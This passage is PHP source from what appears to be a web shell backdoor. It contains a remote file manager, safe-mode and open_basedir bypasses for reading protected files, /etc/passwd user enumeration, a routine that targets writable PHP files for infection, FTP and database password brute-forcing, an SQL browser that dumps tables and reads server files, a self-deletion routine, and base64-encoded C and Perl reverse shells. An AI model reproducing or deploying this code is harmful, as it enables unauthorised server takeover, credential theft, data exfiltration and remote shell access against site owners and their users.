		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr id=fak><td colspan=7>
	<input type=hidden name=ne value=''>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<label><select name='p1'>";
	if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>↳ Paste</option>";
	echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
    echo "<option value='tar'>+ tar.gz</option>";
    echo "</select></label>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='submit'></td></tr></form></table></div>";
	hardFooter();
}
function actionStringTools() {
	if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		'Base64 encode' => 'base64_encode',
		'Base64 decode' => 'base64_decode',
		'Url encode' => 'urlencode',
		'Url decode' => 'urldecode',
		'Full urlencode' => 'full_urlencode',
		'md5 hash' => 'md5',
		'sha1 hash' => 'sha1',
		'crypt' => 'crypt',
		'CRC32' => 'crc32',
		'ASCII to HEX' => 'ascii2hex',
		'HEX to ASCII' => 'hex2ascii',
		'HEX to DEC' => 'hexdec',
		'HEX to BIN' => 'hex2bin',
		'DEC to HEX' => 'dechex',
		'DEC to BIN' => 'decbin',
		'BIN to HEX' => 'binhex',
		'BIN to DEC' => 'bindec',
		'String to lower case' => 'strtolower',
		'String to upper case' => 'strtoupper',
		'Htmlspecialchars' => 'htmlspecialchars',
		'String length' => 'strlen',
	);
	if(isset($_POST['ajax'])) {
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		if(in_array($_POST['p1'], $stringTools))
			echo $_POST['p1']($_POST['p2']);
		$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
		echo strlen($temp), "\n", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	hardHeader();
	echo '<h1>String conversions</h1><div class=content>';
	echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
	foreach($stringTools as $k => $v)
		echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
		echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='submit'></td></tr>
			</table></form>";
	function hardRecursiveGlob($path) {
		if(substr($path, -1) != '/')
			$path.='/';
		$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $▟) {
				if(@is_dir($▟)){
					if($path!=$▟)
						hardRecursiveGlob($▟);
				} else {
					if(empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2'])!==false)
						echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($▟)."\", \"view\",\"\")'>".htmlspecialchars($▟)."</a><br>";
				}
			}
		}
	}
	if(@$_POST['p3'])
		hardRecursiveGlob($_POST['c']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
			<input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
			<input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>
			<input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>
			<input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
		</form></div>";
	hardFooter();
}
function actionSafeMode() {
	$temp='';
	ob_start();
	switch($_POST['p1']) {
		case 1:
			$temp=@tempnam($test, 'cx');
			if(@copy("compress.zlib://".$_POST['p2'], $temp)){
				echo @file_get_contents($temp);
				unlink($temp);
			} else
				echo 'Sorry... Can\'t open file';
			break;
		case 2:
			$files = glob($_POST['p2'].'*');
			if( is_array($files) )
				foreach ($files as $filename)
					echo $filename."\n";
			break;
		case 3:
			$ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
			curl_exec($ch);
			break;
		case 4:
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			include($_POST['p2']);
			break;
		case 5:
			for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
				$uid = @posix_getpwuid($_POST['p2']);
				if ($uid)
					echo join(':',$uid)."\n";
			}
			break;
		case 6:
			if(!function_exists('imap_open'))break;
			$stream = imap_open($_POST['p2'], "", "");
			if ($stream == FALSE)
				break;
			echo imap_body($stream, 1);
			imap_close($stream);
			break;
	}
	$temp = ob_get_clean();
	hardHeader();
	echo '<h1>Safe mode bypass</h1><div class=content>';
	echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
	if($temp)
		echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
	echo '</div>';
	hardFooter();
}
function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}
function actionSelfRemove() {
	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        hardHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	hardFooter();
}
function actionInfect() {
	hardHeader();
	echo '<h1>Infect</h1><div class=content>';
	if($_POST['p1'] == 'infect') {
		$target=$_SERVER['DOCUMENT_ROOT'];
			function ListFiles($dir) {
				if($dh = opendir($dir)) {
					$files = Array();
					$inner_files = Array();
					while($file = readdir($dh)) {
						if($file != "." && $file != "..") {
							if(is_dir($dir . "/" . $file)) {
								$inner_files = ListFiles($dir . "/" . $file);
								if(is_array($inner_files)) $files = array_merge($files, $inner_files); 
							} else {
								array_push($files, $dir . "/" . $file);
							}
						}
					}
					closedir($dh);
					return $files;
				}
			}
			foreach (ListFiles($target) as $key=>$file){
				$nFile = substr($file, -4, 4);
				if($nFile == ".php" ){
					if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
						echo "$file<br>";
						$i++;
					}
				}
			}
			echo "<font color=red size=14>$i</font>";
		}else{
			echo "<form method=post><input type=submit value=Infect name=infet></form>";
			echo 'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
		}
	hardFooter();
}
function actionBruteforce() {
	hardHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<input type=hidden name=ne  value="">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
		.'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
		.'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
	echo '</div>';
	hardFooter();
}
function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table hard2');
					return array('file'=>implode("\n",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";\n";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($▟ = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";\n\n";
                        }
						$columns = array();
						foreach($▟ as $k=>$v) {
                            if($v === null)
                                $▟[$k] = "NULL";
                            elseif(is_int($v))
                                $▟[$k] = $v;
                            else
                                $▟[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $▟).')';
                            $head = false;
                        } else
                            $sql .= "\n\t,(".implode(", ", $▟).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($▟ = $this->fetch()) {
						$columns = array();
						foreach($▟ as $k=>$v) {
							$▟[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $▟).');'."\n";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	hardHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><label><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></label></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<label><select name=sql_base><option value=''></option>";
			while($▟ = $db->fetch()) {
				list($key, $value) = each($▟);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select></label>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='submit' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($▟ = $db->fetch($tbls_res)) {
					list($key, $value) = each($▟);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
						$line = 1;
						while($▟ = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($▟ as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($▟);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($▟ as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	hardFooter();
}
function actionNetwork() {
	hardHeader();
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
